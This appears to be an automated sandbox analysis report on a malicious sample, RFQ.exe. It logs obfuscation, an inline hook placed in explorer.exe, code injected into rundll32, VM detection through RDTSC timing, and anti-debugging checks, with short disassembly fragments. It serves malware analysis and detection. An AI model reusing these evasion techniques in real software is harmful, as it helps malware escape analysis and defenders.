Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C3EE638-B588-4D7D-B30A-E7E36759305D}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\RFQ.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: RFQ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: RFQ.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000008.00000000.426278317.000000000EF20000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: RFQ.exe, 00000007.00000002.444723171.000000000165F000.00000040.00000001.sdmp, rundll32.exe, 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: RFQ.exe, 00000007.00000002.444723171.000000000165F000.00000040.00000001.sdmp, rundll32.exe
Source:	Binary string: rundll32.pdb source: RFQ.exe, 00000007.00000002.444396323.00000000012A9000.00000004.00000020.sdmp
Source:	Binary string: rundll32.pdbGCTL source: RFQ.exe, 00000007.00000002.444396323.00000000012A9000.00000004.00000020.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000008.00000000.426278317.000000000EF20000.00000002.00000001.sdmp

Data Obfuscation:

Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_05411598 push eax; mov dword ptr [esp], ecx	0_2_0541159C
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_075D224A push cs; ret	0_2_075D224C
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_075D02D2 push 0000002Eh; ret	0_2_075D02D4
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_075D12C2 push ds; ret	0_2_075D12C3
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_075D22A3 push cs; ret	0_2_075D22A4
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_004170A0 pushfd ; retf	7_2_004170A6
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_0041CEB5 push eax; ret	7_2_0041CF08
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_0041CF6C push eax; ret	7_2_0041CF72
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_0041CF02 push eax; ret	7_2_0041CF08
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_0041CF0B push eax; ret	7_2_0041CF72
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0468D0D1 push ecx; ret	14_2_0468D0E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_006570A0 pushfd ; retf	14_2_006570A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0065CEB5 push eax; ret	14_2_0065CF08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0065CF6C push eax; ret	14_2_0065CF72
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0065CF02 push eax; ret	14_2_0065CF08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0065CF0B push eax; ret	14_2_0065CF72

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8A 0xAE 0xE3

Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\RFQ.exe	RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RFQ.exe	RDTSC instruction interceptor: First address: 0000000000409B5E second address: 0000000000409B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 00000000006498E4 second address: 00000000006498EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000649B5E second address: 0000000000649B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\RFQ.exe

Code function: 7_2_00409A90 rdtsc

7_2_00409A90

Source: C:\Users\user\Desktop\RFQ.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\RFQ.exe TID: 7112	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe TID: 6796	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5572	Thread sleep time: -40000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: explorer.exe, 00000008.00000000.423725449.00000000083EB000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000008.00000000.423831795.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000008.00000002.608752063.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000008.00000000.418197319.00000000063F6000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000000.423725449.00000000083EB000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000008.00000000.418197319.00000000063F6000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000000.422618645.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: explorer.exe, 00000008.00000002.608752063.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000008.00000002.608752063.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000008.00000000.422618645.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000008.00000000.423831795.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000-;
Source: explorer.exe, 00000008.00000002.593605277.000000000095C000.00000004.00000020.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G
Source: explorer.exe, 00000008.00000002.608752063.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\RFQ.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Source: C:\Users\user\Desktop\RFQ.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\RFQ.exe

Code function: 7_2_00409A90 rdtsc

7_2_00409A90

Source: C:\Users\user\Desktop\RFQ.exe

Code function: 7_2_0040ACD0 LdrLoadDll,

7_2_0040ACD0

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0465746D mov eax, dword ptr fs:[00000030h]	14_2_0465746D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466A44B mov eax, dword ptr fs:[00000030h]	14_2_0466A44B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046CC450 mov eax, dword ptr fs:[00000030h]	14_2_046CC450
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046CC450 mov eax, dword ptr fs:[00000030h]	14_2_046CC450
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466BC2C mov eax, dword ptr fs:[00000030h]	14_2_0466BC2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B6C0A mov eax, dword ptr fs:[00000030h]	14_2_046B6C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B6C0A mov eax, dword ptr fs:[00000030h]	14_2_046B6C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B6C0A mov eax, dword ptr fs:[00000030h]	14_2_046B6C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B6C0A mov eax, dword ptr fs:[00000030h]	14_2_046B6C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1C06 mov eax, dword ptr fs:[00000030h]	14_2_046F1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0470740D mov eax, dword ptr fs:[00000030h]	14_2_0470740D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0470740D mov eax, dword ptr fs:[00000030h]	14_2_0470740D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0470740D mov eax, dword ptr fs:[00000030h]	14_2_0470740D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F14FB mov eax, dword ptr fs:[00000030h]	14_2_046F14FB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B6CF0 mov eax, dword ptr fs:[00000030h]	14_2_046B6CF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B6CF0 mov eax, dword ptr fs:[00000030h]	14_2_046B6CF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B6CF0 mov eax, dword ptr fs:[00000030h]	14_2_046B6CF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04708CD6 mov eax, dword ptr fs:[00000030h]	14_2_04708CD6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464849B mov eax, dword ptr fs:[00000030h]	14_2_0464849B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0465C577 mov eax, dword ptr fs:[00000030h]	14_2_0465C577
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0465C577 mov eax, dword ptr fs:[00000030h]	14_2_0465C577
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04673D43 mov eax, dword ptr fs:[00000030h]	14_2_04673D43
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B3540 mov eax, dword ptr fs:[00000030h]	14_2_046B3540
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04657D50 mov eax, dword ptr fs:[00000030h]	14_2_04657D50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04708D34 mov eax, dword ptr fs:[00000030h]	14_2_04708D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04643D34 mov eax, dword ptr fs:[00000030h]	14_2_04643D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04643D34 mov eax, dword ptr fs:[00000030h]	14_2_04643D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04643D34 mov eax, dword ptr fs:[00000030h]	14_2_04643D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04643D34 mov eax, dword ptr fs:[00000030h]	14_2_04643D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04643D34 mov eax, dword ptr fs:[00000030h]	14_2_04643D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04643D34 mov eax, dword ptr fs:[00000030h]	14_2_04643D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04643D34 mov eax, dword ptr fs:[00000030h]	14_2_04643D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04643D34 mov eax, dword ptr fs:[00000030h]	14_2_04643D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04643D34 mov eax, dword ptr fs:[00000030h]	14_2_04643D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04643D34 mov eax, dword ptr fs:[00000030h]	14_2_04643D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04643D34 mov eax, dword ptr fs:[00000030h]	14_2_04643D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04643D34 mov eax, dword ptr fs:[00000030h]	14_2_04643D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04643D34 mov eax, dword ptr fs:[00000030h]	14_2_04643D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463AD30 mov eax, dword ptr fs:[00000030h]	14_2_0463AD30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046FE539 mov eax, dword ptr fs:[00000030h]	14_2_046FE539
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046BA537 mov eax, dword ptr fs:[00000030h]	14_2_046BA537
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04664D3B mov eax, dword ptr fs:[00000030h]	14_2_04664D3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04664D3B mov eax, dword ptr fs:[00000030h]	14_2_04664D3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04664D3B mov eax, dword ptr fs:[00000030h]	14_2_04664D3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464D5E0 mov eax, dword ptr fs:[00000030h]	14_2_0464D5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464D5E0 mov eax, dword ptr fs:[00000030h]	14_2_0464D5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046FFDE2 mov eax, dword ptr fs:[00000030h]	14_2_046FFDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046FFDE2 mov eax, dword ptr fs:[00000030h]	14_2_046FFDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046FFDE2 mov eax, dword ptr fs:[00000030h]	14_2_046FFDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046FFDE2 mov eax, dword ptr fs:[00000030h]	14_2_046FFDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046E8DF1 mov eax, dword ptr fs:[00000030h]	14_2_046E8DF1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B6DC9 mov eax, dword ptr fs:[00000030h]	14_2_046B6DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B6DC9 mov eax, dword ptr fs:[00000030h]	14_2_046B6DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B6DC9 mov eax, dword ptr fs:[00000030h]	14_2_046B6DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B6DC9 mov ecx, dword ptr fs:[00000030h]	14_2_046B6DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B6DC9 mov eax, dword ptr fs:[00000030h]	14_2_046B6DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B6DC9 mov eax, dword ptr fs:[00000030h]	14_2_046B6DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046635A1 mov eax, dword ptr fs:[00000030h]	14_2_046635A1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04661DB5 mov eax, dword ptr fs:[00000030h]	14_2_04661DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04661DB5 mov eax, dword ptr fs:[00000030h]	14_2_04661DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04661DB5 mov eax, dword ptr fs:[00000030h]	14_2_04661DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_047005AC mov eax, dword ptr fs:[00000030h]	14_2_047005AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_047005AC mov eax, dword ptr fs:[00000030h]	14_2_047005AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04662581 mov eax, dword ptr fs:[00000030h]	14_2_04662581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04662581 mov eax, dword ptr fs:[00000030h]	14_2_04662581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04662581 mov eax, dword ptr fs:[00000030h]	14_2_04662581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04662581 mov eax, dword ptr fs:[00000030h]	14_2_04662581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04632D8A mov eax, dword ptr fs:[00000030h]	14_2_04632D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04632D8A mov eax, dword ptr fs:[00000030h]	14_2_04632D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04632D8A mov eax, dword ptr fs:[00000030h]	14_2_04632D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04632D8A mov eax, dword ptr fs:[00000030h]	14_2_04632D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04632D8A mov eax, dword ptr fs:[00000030h]	14_2_04632D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466FD9B mov eax, dword ptr fs:[00000030h]	14_2_0466FD9B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466FD9B mov eax, dword ptr fs:[00000030h]	14_2_0466FD9B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464766D mov eax, dword ptr fs:[00000030h]	14_2_0464766D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0465AE73 mov eax, dword ptr fs:[00000030h]	14_2_0465AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0465AE73 mov eax, dword ptr fs:[00000030h]	14_2_0465AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0465AE73 mov eax, dword ptr fs:[00000030h]	14_2_0465AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0465AE73 mov eax, dword ptr fs:[00000030h]	14_2_0465AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0465AE73 mov eax, dword ptr fs:[00000030h]	14_2_0465AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04647E41 mov eax, dword ptr fs:[00000030h]	14_2_04647E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04647E41 mov eax, dword ptr fs:[00000030h]	14_2_04647E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04647E41 mov eax, dword ptr fs:[00000030h]	14_2_04647E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04647E41 mov eax, dword ptr fs:[00000030h]	14_2_04647E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04647E41 mov eax, dword ptr fs:[00000030h]	14_2_04647E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04647E41 mov eax, dword ptr fs:[00000030h]	14_2_04647E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046FAE44 mov eax, dword ptr fs:[00000030h]	14_2_046FAE44
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046FAE44 mov eax, dword ptr fs:[00000030h]	14_2_046FAE44
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463E620 mov eax, dword ptr fs:[00000030h]	14_2_0463E620
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046EFE3F mov eax, dword ptr fs:[00000030h]	14_2_046EFE3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463C600 mov eax, dword ptr fs:[00000030h]	14_2_0463C600
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463C600 mov eax, dword ptr fs:[00000030h]	14_2_0463C600
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463C600 mov eax, dword ptr fs:[00000030h]	14_2_0463C600
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04668E00 mov eax, dword ptr fs:[00000030h]	14_2_04668E00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1608 mov eax, dword ptr fs:[00000030h]	14_2_046F1608
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466A61C mov eax, dword ptr fs:[00000030h]	14_2_0466A61C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466A61C mov eax, dword ptr fs:[00000030h]	14_2_0466A61C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046616E0 mov ecx, dword ptr fs:[00000030h]	14_2_046616E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046476E2 mov eax, dword ptr fs:[00000030h]	14_2_046476E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04678EC7 mov eax, dword ptr fs:[00000030h]	14_2_04678EC7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04708ED6 mov eax, dword ptr fs:[00000030h]	14_2_04708ED6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046636CC mov eax, dword ptr fs:[00000030h]	14_2_046636CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046EFEC0 mov eax, dword ptr fs:[00000030h]	14_2_046EFEC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B46A7 mov eax, dword ptr fs:[00000030h]	14_2_046B46A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04700EA5 mov eax, dword ptr fs:[00000030h]	14_2_04700EA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04700EA5 mov eax, dword ptr fs:[00000030h]	14_2_04700EA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04700EA5 mov eax, dword ptr fs:[00000030h]	14_2_04700EA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046CFE87 mov eax, dword ptr fs:[00000030h]	14_2_046CFE87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464FF60 mov eax, dword ptr fs:[00000030h]	14_2_0464FF60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04708F6A mov eax, dword ptr fs:[00000030h]	14_2_04708F6A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464EF40 mov eax, dword ptr fs:[00000030h]	14_2_0464EF40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04634F2E mov eax, dword ptr fs:[00000030h]	14_2_04634F2E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04634F2E mov eax, dword ptr fs:[00000030h]	14_2_04634F2E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466E730 mov eax, dword ptr fs:[00000030h]	14_2_0466E730
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466A70E mov eax, dword ptr fs:[00000030h]	14_2_0466A70E
